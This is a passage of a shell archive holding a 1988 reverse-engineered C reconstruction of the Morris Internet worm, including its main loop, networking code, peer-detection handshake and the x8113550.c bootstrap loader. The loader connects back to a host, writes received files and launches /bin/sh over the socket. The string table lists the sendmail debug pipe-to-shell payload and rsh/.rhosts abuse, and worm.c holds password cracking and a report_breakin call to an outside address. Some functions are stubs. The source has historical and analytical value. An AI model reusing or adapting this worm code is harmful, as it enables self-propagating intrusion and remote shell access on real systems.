-	l8 = 0;
-	if (xread(s, &l8, sizeof(l8), 5*60) != sizeof(l8)) {
-	    close(s);
-	    return;
-	}
-	if (l8 != MAGIC_1) {
-	    close(s);
-	    return;
-	}
-	
-	l12 = random()/8;
-	if (write(s, &l12, sizeof(l12)) != sizeof(l12)) {
-	    close(s);
-	    return;
-	}
-	
-	if (xread(s, &l16, sizeof(l16), 10) != sizeof(l16)) {
-	    close(s);
-	    return;
-	}
-	
-	if (!((l12+l16) % 2))
-	    pleasequit++;
-	close(s);
-    }
-    sleep(5);
-    
-    s = socket(AF_INET, SOCK_STREAM, 0);
-    if (s < 0)
-	return;
-    
-    /* Set the socket so that the address may be reused */
-    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
-    if (bind(s, &sin, sizeof(sin)) < 0) {
-	close(s);
-	return;
-    }
-    listen(s, 10);
-    
-    other_fd = s;
-    return;
-}
-
-/* Sleep, waiting for another worm to contact me. */
-other_sleep(how_long)				/* 0x5a38 */
-{
-    int nfds, readmask;
-    long time1, time2;
-    struct timeval timeout;
-    
-    if (other_fd < 0) {
-	if (how_long != 0)
-	    sleep(how_long);
-	return;
-    }
-    /* Check once again.. */
-    do {
-	if (other_fd < 0)
-	    return;
-	readmask = 1 << other_fd;
-	if (how_long < 0)
-	    how_long = 0;
-	
-	timeout.tv_sec = how_long;
-	timeout.tv_usec = 0;
-	
-	if (how_long != 0)
-	    time(&time1);
-	nfds = select(other_fd+1, &readmask, 0, 0, &timeout);
-	if (nfds < 0)
-	    sleep(1);
-	if (readmask != 0)
-	    answer_other();
-	if (how_long != 0) {
-	    time(&time2);
-	    how_long -= time2 - time1;
-	}
-    } while (how_long > 0);
-    return;
-}
-
-static answer_other()				/* 0x5b14 */
-{
-    int ns, addrlen, magic_holder, magic1, magic2;
-    struct sockaddr_in sin;			/* 16 bytes */
-    
-    addrlen = sizeof(sin);
-    
-    ns = accept(other_fd, &sin, &addrlen);
-    
-    if (ns < 0)
-	return;					/* 620 */
-    
-    magic_holder = MAGIC_1;
-    if (write(ns, &magic_holder, sizeof(magic_holder)) != sizeof(magic_holder)) {
-	close(ns);
-	return;
-    }
-    if (xread(ns, &magic_holder, sizeof(magic_holder), 10) != sizeof(magic_holder)) {
-	close(ns);
-	return;
-    }
-    if (magic_holder != MAGIC_2) {
-	close(ns);
-	return;
-    }
-    
-    magic1 = random() / 8;
-    if (write(ns, &magic1, sizeof(magic1)) != sizeof(magic1)) {
-	close(ns);
-	return;
-    }
-    if (xread(ns, &magic2, sizeof(magic2), 10) != sizeof(magic2)) {
-	close(ns);
-	return;
-    }
-    close(ns);
-    
-    if (sin.sin_addr.s_addr != inet_addr(XS("127.0.0.1")))
-	return;
-    
-    if (((magic1+magic2) % 2) != 0) {
-	close(other_fd);
-	other_fd = -1;
-	pleasequit++;
-    }
-    return;
-}
-
-/* A timeout-based read. */
-xread(fd, buf, length, time)			/* 0x5ca8 */
-     int fd, time;
-     char *buf;
-     unsigned long length;
-{
-    int i, cc, readmask;
-    struct timeval timeout;
-    int nfds;
-    long time1, time2;
-    
-    for (i = 0; i < length; i++) { 		/* 150 */
-	readmask = 1 << fd;
-	timeout.tv_sec = time;
-	timeout.tv_usec = 0;
-	if (select(fd+1, &readmask, 0, 0, &timeout) < 0)
-	    return 0;				/* 156 */
-	if (readmask == 0)
-	    return 0;
-	if (read(fd, &buf[i], 1) != 1)
-	    return 0;
-    }
-    return i;
-}
-
-
-/* These are some of the strings that are encyphed in the binary.  The
- * person that wrote the program probably used the Berkeley 'xstr' program
- * to extract and encypher the strings.
- */
-#ifdef notdef
-char environ[50] = "";
-char *sh = "sh";
-char *env52 = "sh";			/* 0x20034,  */
-char *env55 = "-p";
-char *env58 = "l1.c";
-char *env63 = "sh";
-char *env66 = "/tmp/.dump";
-char *env77 = "128.32.137.13";
-char *env91 = "127.0.0.1";
-char *env102 = "/usr/ucb/netstat -r -n";	/* 0x20066 */
-char *env125 = "r";
-char *env127 = "%s%s";
-#endif /* notdef*/
-/*
-  char *text =
-  "default
-  0.0.0.0
-  127.0.0.1
-  exec /bin/sh
-  l1.c
-  PATH=/bin:/usr/bin:/usr/ucb
-  cd /usr/tmp
-  x%d.c
-  echo gorch49;sed '/int zz;/q' > %s;echo gorch50
-  gorch49
-  int zz;
-  gorch50
-  cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE
-  DONE
-  x%d,%s
-  PATH=/bin:/usr/bin:/usr/ucb
-  rm -f sh
-  if [ -f sh ]
-  then
-  P=x%d
-  else
-  P=sh
-  cc -o $P %s
-  ./$P -p $$ 
-  rm -f $P
-  rm -f %s $P
-  l1.c
-  cd /usr/tmp
-  x%d.c
-  cat > %s <<'EOF'
-  cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c
-  /usr/ucb/rsh
-  /usr/bin/rsh
-  /bin/rsh
-  /bin/echo %s
-  debug
-  mail from:
-  rcpt to:<"| sed '1,/^$/d' | /bin/sh ; exit 0">
-  data
-  quit
-  quit
-  exec /usr/ucb/rsh %s -l %s 'exec /bin/sh'
-  /bin/sh
-  /bin/sh
-  127.0.0.1
-  127.0.0.1
-  /etc/hosts.equiv
-  %.100s
-  /.rhosts
-  %.200s/.forward
-  %.20s%.20s
-  %[^ ,]
-  %*s %[^ ,]s
-  %.200s/.forward
-  %.200s/.rhosts
-  %s%s
-  /usr/dict/words";
-  */
-
-/*
- * Local variables:
- * compile-command: "cc -S hs.c"
- * comment-column: 48
- * End:
- */
//GO.SYSIN DD hs.c
echo net.c 1>&2
sed 's/^-//' >net.c <<'//GO.SYSIN DD net.c'
-/*****************************************************************************\
-*									      *
-*	File:     net.c							      *
-*	Author:   Don Becker						      *
-*	Created:  Sun Nov  6 20:13:37 1988				      *
-*	Contents: Network subroutines for the 'worm'.			      *
-*	Copyright 1988 by Donald Becker, redistribution by permission only    *
-*									      *
-******************************************************************************/
-
-#include "worm.h"
-#include 
-#include 
-#include 
-#include 
-#include 
-#include 
-
-/* This is the second of five source files linked together to form the '.o'
- * file distributed with the worm.
- */
-
-if_init()			/* 0x254c, check again */
-{
-    struct ifconf if_conf;
-    struct ifreq if_buffer[12];
-    int  s, i, num_ifs, j;
-    char local[48];
-    
-    nifs = 0;
-    s = socket(AF_INET, SOCK_STREAM, 0);
-    if (s < 0)
-	return 0;				/* if_init+1042 */
-    if_conf.ifc_req = if_buffer;
-    if_conf.ifc_len = sizeof(if_buffer);
-    
-    if (ioctl(s, SIOCGIFCONF, &if_conf) < 0) {
-	close(s);
-	return 0;				/* if_init+1042 */
-    }
-    
-    num_ifs = if_conf.ifc_len/sizeof(if_buffer[0]);
-    for(i = 0; i < num_ifs; i++) {		/* if_init+144 */
-	for (j = 0; j < nifs; j++)
-	    /* Oops, look again.  This line needs verified. */
-	    if (strcmp(ifs[j], if_buffer[i].ifr_name) == 0)
-		break;
-    }
-    
-}	
-
-/* Yes all of these are in the include file, but why bother?  Everyone knows
-   netmasks, and they will never change... */
-def_netmask(net_addr)				/* 0x2962 */
-     int net_addr;
-{
-    if ((net_addr & 0x80000000) == 0)
-	return 0xFF000000;
-    if ((net_addr & 0xC0000000) == 0xC0000000)
-	return 0xFFFF0000;
-    return 0xFFFFFF00;
-}
-
-netmaskfor(addr)				/* 0x29aa */
-     int addr;
-{
-    int i, mask;
-    
-    mask = def_netmask(addr);
-    for (i = 0; i < nifs; i++)
-	if ((addr & mask) == (ifs[i].if_l16 & mask))
-	    return ifs[i].if_l24;
-    return mask;
-}
-
-rt_init()					/* 0x2a26 */
-{
-    FILE *pipe;
-    char input_buf[64];
-    int	 l204, l304;
-    
-    ngateways = 0;
-    pipe = popen(XS("/usr/ucb/netstat -r -n"), XS("r"));	/* &env102,&env125 */
-    if (pipe == 0)
-	return 0;
-    while (fgets(input_buf, sizeof(input_buf), pipe)) { /* to 518 */
-	other_sleep(0);
-	if (ngateways >= 500)
-	    break;
-	sscanf(input_buf, XS("%s%s"), l204, l304);	/* "%s%s" */
-	/* other stuff, I'll come back to this later */
-	
-	
-    }						/* 518, back to 76 */
-    pclose(pipe);
-    rt_init_plus_544();
-    return 1;
-}						/* 540 */
-
-static rt_init_plus_544()				/* 0x2c44 */
-{
-}
-
-getaddrs()					/* 0x2e1a */
-{
-}
-
-struct bar *a2in(a)		/* 0x2f4a, needs to be fixed */
-     int a;
-{
-    static struct bar local;
-    local.baz = a;
-    return &local;
-}
-
-/* End of source file in original. */
-
-/*
- * Local variables:
- * compile-command: "cc -S net.c"
- * comment-column: 48
- * End:
- */
//GO.SYSIN DD net.c
echo stubs.c 1>&2
sed 's/^-//' >stubs.c <<'//GO.SYSIN DD stubs.c'
-/*****************************************************************************\
-*									      *
-*	File:     stubs.c						      *
-*	Author:   Don Becker						      *
-*	Created:  Thu Nov 10 10:17:39 1988				      *
-*	Contents: Stubs of copyrighted proceedures in the worm program	      *
-*	Copyright none
-*									      *
-******************************************************************************/
-/*  The version of crypt() used in the worm program has the same tables as
- * Berkeley's 4.3 crypt(), but uses different code.  Since I don't know where
- * we put our 4.2 tape I can't check it against that code to find the exact
- * source.  I assume that it just a regualar crypt() routine with several
- * interior functions declared static, perhaps tuned somewhat for speed on the
- * VAX and Sun.
- */
-crypt()
-{ }
-    
-/* These might not be copyrighted, but I'm not taking the chance.  They are
-   obvious. */
-h_addr2host()
-{}
-h_name2host()
-{}
-
-/*
- * Local variables:
- * compile-command: "make test"
- * comment-column: 48
- * End:
- */
//GO.SYSIN DD stubs.c
echo worm.c 1>&2
sed 's/^-//' >worm.c <<'//GO.SYSIN DD worm.c'
-/*****************************************************************************\
- *									      *
- *	File:     worm.c						      *
- *	Author:   Don Becker						      *
- *	Created:  Thu Nov  3 17:16:10 1988				      *
- *	Contents: Reverse engineered worm program that invaded ATD on 11/3/88 *
- *	Copyright 1988 by Donald Becker, redistribution by permission only    *
- *									      *
- ******************************************************************************/
-
-#include "worm.h"
-#include 
-#include 
-#include 
-#include 
-#include 
-#include 
-#include 
-#include 
-#include 
-#include 
-#include 
-#include 
-#include 
-
-extern errno;
-extern char *malloc();
-
-int pleasequit;					/* See worm.h */
-int nobjects = 0;
-int nextw;
-char *null_auth;
-
-object objects[69];				/* Don't know how many... */
-
-object *getobjectbyname();
-
-char *XS();
-
-main(argc, argv)		/* 0x20a0 */
-     int argc;
-     char **argv;
-{
-    int i, l8, pid_arg, j, cur_arg, unused;
-    long key;			/* -28(fp) */
-    struct rlimit rl;
-    
-    l8 = 0;					/* Unused */
-    
-    strcpy(argv[0], XS("sh"));			/*  */
-    time(&key);
-    srandom(key);
-    rl.rlim_cur = 0;
-    rl.rlim_max = 0;
-    if (setrlimit(RLIMIT_CORE, &rl))
-	;
-    signal(SIGPIPE, SIG_IGN);
-    pid_arg = 0;
-    cur_arg = 1;
-    if  (argc > 2 &&
-	 strcmp(argv[cur_arg], XS("-p")) == 0) { /* env55 == "-p" */
-	pid_arg = atoi(argv[2]);
-	cur_arg += 2;
-    }
-    for(i = cur_arg; i < argc; i++) {	/* otherwise  */
-	if (loadobject(argv[i]) == 0)
-	    exit(1);
-	if (pid_arg)
-	    unlink(argv[i]);
-    }
-    if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL))
-	exit(1);
-    if (pid_arg) {
-	for(i = 0; i < 32; i++)
-	    close(i);
-	unlink(argv[0]);
t
-	unlink(XS("sh"));			/*  */
-	unlink(XS("/tmp/.dumb"));			/* "/tmp/.dumb" */
-    }
-    
-    for (i = 1; i < argc; i++)
-	for (j = 0;	argv[i][j]; j++)
-	    argv[i][j] = '\0';
-    if (if_init() == 0)
-	exit(1);
-    if (pid_arg) {					/* main+600 */
-	if (pid_arg == getpgrp(getpid()))
-	    setpgrp(getpid(), getpid());
-	kill(pid_arg, 9);
-    }
-    mainloop();
-}
-
-static mainloop()				/* 0x2302 */
-{
-    long key, time1, time0;
-    
-    time(&key);
-    srandom(key);
-    time0 = key;
-    if (hg() == 0 && hl() == 0)
-	ha();
-    checkother();
-    report_breakin();
-    cracksome();
-    other_sleep(30);
-    while (1) {
-	/* Crack some passwords */
-	cracksome();
-	/* Change my process id */
-	if (fork() > 0)
-	    exit(0);
-	if (hg() == 0 && hi() == 0 && ha() == 0)
-	    hl();
-	other_sleep(120);
-	time(&time1);
-	if (time1 - time0 >= 60*60*12)
-	    h_clean();
-	if (pleasequit && nextw > 0)
-	    exit(0);
-    }
-}
-
-static trans_cnt;
-static char trans_buf[NCARGS];
-
-char *XS(str1)			/* 0x23fc */
-     char *str1;
-{
-    int i, len;
-    char *newstr;
-#ifndef ENCYPHERED_STRINGS
-    return str1;
-#else  
-    len = strlen(str1);
-    if (len + 1 > NCARGS - trans_cnt)
-	trans_cnt = 0;
-    newstr = &trans_buf[trans_cnt];
-    trans_cnt += 1 + len;
-    for (i = 0; str1[i]; i++)
-	newstr[i] = str1[i]^0x81;
-    newstr[i] = '\0';
-    return newstr;
-#endif
-}
-
-/* This report a sucessful breakin by sending a single byte to "128.32.137.13"
- * (whoever that is). */
-
-static report_breakin(arg1, arg2)		/* 0x2494 */
-{
-    int s;
-    struct sockaddr_in sin;
-    char msg;
-    
-    if (7 != random() % 15)
-	return;
-    
-    bzero(&sin, sizeof(sin));
-    sin.sin_family = AF_INET;
-    sin.sin_port = REPORT_PORT;
-    sin.sin_addr.s_addr = inet_addr(XS("128.32.137.13")); /* "128.32.137.13" */
-    
-    s = socket(AF_INET, SOCK_STREAM, 0);
-    if (s < 0)
-	return;
-    if (sendto(s, &msg, 1, 0, &sin, sizeof(sin)))
-	;
-    close(s);
-}
-
-/* End of first file in the original source.
- * (Indicated by extra zero word in text area.) */
-
-/*
- * Local variables:
- * compile-command: "make"
- * comment-column: 48
- * End:
- */
//GO.SYSIN DD worm.c
echo worm.h 1>&2
sed 's/^-//' >worm.h <<'//GO.SYSIN DD worm.h'
-/* Magic numbers the program uses to identify other copies of itself. */
-
-#define REPORT_PORT 0x2c5d
-#define MAGIC_1 0x00148898
-#define MAGIC_2 0x00874697
-extern int pleasequit;		/* This stops the program after one
-				 * complete pass if set.  It is incremented
-				 * inside of checkother if contact with another
-				 * happens. */
-
-/* There are pieces of "stub" code, presumably from something like this to
-   get rid of error messages */
-#define error()
-
-/* This appears to be a structure unique to this program.  It doesn't seem that
- * the blank slots are really an array of characters for the hostname, but maybe
- * they are.
- */
-struct hst {
-    char *hostname;
-    int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44;
-    int o48[6];					/* used */
-    int flag;					/* used */
-#define HST_HOSTEQUIV	8
-#define HST_HOSTFOUR	4
-#define HST_HOSTTWO	2
-    struct hst *next;				/* o76 */
-};
-
-typedef struct {
-    char *name;
-    unsigned long size;
-    char *buf;
-} object;
-
-extern struct ifses {
-    int if_l0, if_l4, if_l8, if_l12; /* unused */
-    int if_l16;			/* used */
-    int if_l20;			/* unused */
-    int if_l24;			/* used */
-    short if_l28;		/* unused */
-} ifs[];
-extern nifs;
-
-extern int ngateways;
-
-extern object objects[], *getobjectbyname();
-extern int nobjects;
-
-/* Only used for a2in().  Why?  I don't know. */
-struct bar {int baz;};
-extern struct bar *a2in();
-
//GO.SYSIN DD worm.h
echo x8113550.c 1>&2
sed 's/^-//' >x8113550.c <<'//GO.SYSIN DD x8113550.c'
-#include 
-#include 
-#include 
-#include 
-
-main(argc, argv)
-char *argv[];
-{
-	struct sockaddr_in sin;
-	int s, i, magic, nfiles, j, len, n;
-	FILE *fp;
-	char files[20][128];
-	char buf[2048], *p;
-
-	unlink(argv[0]);
-	if(argc != 4)
-		exit(1);
-	for(i = 0; i < 32; i++)
-		close(i);
-	i = fork();
-	if(i < 0)
-		exit(1);
-	if(i > 0)
-		exit(0);
-
-	bzero(&sin, sizeof(sin));
-	sin.sin_family = AF_INET;
-	sin.sin_addr.s_addr = inet_addr(argv[1]);
-	sin.sin_port = htons(atoi(argv[2]));
-	magic = htonl(atoi(argv[3]));
-
-	for(i = 0; i < argc; i++)
-		for(j = 0; argv[i][j]; j++)
-			argv[i][j] = '\0';
-
-	s = socket(AF_INET, SOCK_STREAM, 0);
-	if(connect(s, &sin, sizeof(sin)) < 0){
-		perror("l1 connect");
-		exit(1);
-	}
-	dup2(s, 1);
-	dup2(s, 2);
-
-	write(s, &magic, 4);
-
-	nfiles = 0;
-	while(1){
-		if(xread(s, &len, 4) != 4)
-			goto bad;
-		len = ntohl(len);
-		if(len == -1)
-			break;
-
-		if(xread(s, &(files[nfiles][0]), 128) != 128)
-			goto bad;
-
-		unlink(files[nfiles]);
-		fp = fopen(files[nfiles], "w");
-		if(fp == 0)
-			goto bad;
-		nfiles++;
-
-		while(len > 0){
-			n = sizeof(buf);
-			if(n > len)
-				n = len;
-			n = read(s, buf, n);
-			if(n <= 0)
-				goto bad;
-			if(fwrite(buf, 1, n, fp) != n)
-				goto bad;
-			len -= n;
-		}
-		fclose(fp);
-	}
-
-	execl("/bin/sh", "sh", 0);
-bad:
-	for(i = 0; i < nfiles; i++)
-		unlink(files[i]);
-	exit(1);
-}
-
-static
-xread(fd, buf, n)
-char *buf;
-{
-	int cc, n1;
-
-	n1 = 0;
-	while(n1 < n){
-		cc = read(fd, buf, n - n1);
-		if(cc <= 0)
-			return(cc);
-		buf += cc;
-		n1 += cc;
-	}
-	return(n1);
-}
-int zz;
//GO.SYSIN DD x8113550.c
exit


HOME | GROUP 42 | DISCLAIMER | HELP
Copyright © 1984-1996, Group 42